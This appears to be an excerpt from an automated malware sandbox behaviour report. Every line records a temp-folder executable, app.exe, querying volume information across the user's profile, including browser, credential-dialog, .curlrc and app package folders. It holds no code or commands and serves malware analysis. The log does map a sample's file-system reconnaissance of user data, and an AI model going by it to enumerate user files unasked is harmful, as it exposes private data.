Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Favorites\Reddit.url VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Favorites\Wikipedia.url VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\IntelGraphicsProfiles VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\IntelGraphicsProfiles\Brighten Video.man.igpi VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\IntelGraphicsProfiles\Brighten Video.man.igpi VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\IntelGraphicsProfiles\BRIGHT~1.IGP VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\IntelGraphicsProfiles\BRIGHT~1.IGP VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\IntelGraphicsProfiles\Darken Video.man.igpi VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\IntelGraphicsProfiles\Darken Video.man.igpi VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\IntelGraphicsProfiles\DARKEN~1.IGP VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\IntelGraphicsProfiles\DARKEN~1.IGP VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\IntelGraphicsProfiles\Enhance Video Colors.man.igpi VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\IntelGraphicsProfiles\Enhance Video Colors.man.igpi VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\IntelGraphicsProfiles\ENHANC~1.IGP VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\IntelGraphicsProfiles\ENHANC~1.IGP VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Links VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Links\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Links\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Links\Desktop.lnk VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Links\Desktop.lnk VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\Links\Downloads.lnk VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\.curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\.curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Adobe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Adobe\Acrobat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Adobe\ARM VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Adobe\Color VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\.curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\.curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Adobe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Comms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ConnectedDevicesPlatform VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\D3DSCache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ElevatedDiagnostics VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\History VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\IconCache.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\IconCache.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\MicrosoftEdge VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\PeerDistRepub VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Publishers VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\_curlrc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Comms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Comms\Unistore VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Comms\UnistoreDB VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ConnectedDevicesPlatform VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\8628dc546dc99469 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\8628dc546dc99469.cdp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\8628dc546dc99469.cdp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\CDPGlobalSettings.cdp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\CDPGlobalSettings.cdp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdpresource VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdpresource VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\D3DSCache VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\D3DSCache\3534848bb9f4cb71 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\D3DSCache\cb00da9ba77862e VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\D3DSCache\e8010882af4f153f VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\ElevatedDiagnostics VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Google VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Google\CrashReports VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Software Reporter Tool VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\History\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\History\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\History\Low VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\IconCache.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\IconCache.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Intel\CUIPromotions VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Intel\Games VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\EdgeBho VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Feeds VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\GameDVR VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\InputPersonalization VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Internet Explorer VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\OneDrive VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\PlayReady VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\XboxLive VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\MicrosoftEdge VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\MicrosoftEdge\SharedCacheContainers VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\ActiveSync VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\adobe.acrobatreaderdc.protectedmode VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\AppUp.IntelGraphicsExperience_8j3eq9eme6ctt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Getstarted_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Messaging_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.MSPaint_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.NET.Native.Framework.1.7_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.NET.Native.Framework.2.2_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.NET.Native.Runtime.1.7_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.NET.Native.Runtime.2.2_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.People_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Print3D_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.UI.Xaml.2.1_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.UI.Xaml.2.6_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.UI.Xaml.2.7_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.VCLibs.140.00_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAppRuntime.1.2_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Xbox.TCUI_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.XboxApp_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\SpotifyAB.SpotifyMusic_zpdnekdrzrea0 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Windows.CBSPreview_cw5n1h2txyewy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\windows_ie_ac_001 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\PeerDistRepub VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Publishers VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0353475199 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0487075091 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0615447233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0615447233 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0666563528 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0666563528 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0825612946 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0887538035 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0939541263 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0939541263 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1169381505 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1244065654 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1287572840 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1287572840 VolumeInformation	Jump to behavior
